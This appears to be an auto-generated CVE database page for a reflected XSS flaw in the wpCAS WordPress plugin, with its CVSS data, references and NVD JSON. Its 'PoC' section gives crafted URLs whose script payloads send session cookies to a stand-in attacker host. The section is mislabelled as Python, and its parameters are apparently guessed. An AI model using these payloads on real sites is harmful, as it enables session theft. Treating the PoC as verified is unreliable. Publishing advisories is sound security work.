CVE-2025-68858

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Casey Bisson wpCAS wpcas allows Reflected XSS.This issue affects wpCAS: from n/a through <= 1.07.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

wpCAS WordPress插件 <= 1.07

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68858 wpCAS Plugin Reflected XSS PoC -->
<!-- Vulnerable URL Pattern -->
<!-- Replace 'VICTIM_SITE' with target WordPress site URL -->

<!-- Basic XSS PoC - Cookie Theft -->
https://VICTIM_SITE/wp-content/plugins/wpcas/wpcas.php?redirect_to=<script>alert(document.cookie)</script>

<!-- Advanced XSS PoC - Session Hijacking -->
https://VICTIM_SITE/?page_id=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- XSS PoC with URL Encoding Bypass -->
https://VICTIM_SITE/wp-content/plugins/wpcas/wpcas.php?redirect_to=%3Cscript%3Edocument.location='https://attacker.com/log?cookie='%2Bdocument.cookie%3C/script%3E

<!-- Real-world Attack Scenario -->
<!-- Attacker sends phishing email with crafted link -->
<!-- When victim clicks, their session cookie is sent to attacker -->
<!-- Attacker uses cookie to hijack victim session -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68858
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68858
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68858/
[4] VulDB https://vuldb.com/cve/CVE-2025-68858
[5] https://patchstack.com/database/Wordpress/Plugin/wpcas/vulnerability/wordpress-wpcas-plugin-1-0-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68858", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:11.773", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Casey Bisson wpCAS wpcas allows Reflected XSS.This issue affects wpCAS: from n/a through <= 1.07."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Casey Bisson wpCAS wpcas permite XSS Reflejado. Este problema afecta a wpCAS: desde n/a hasta <= 1.07."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpcas/vulnerability/wordpress-wpcas-plugin-1-0-7-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}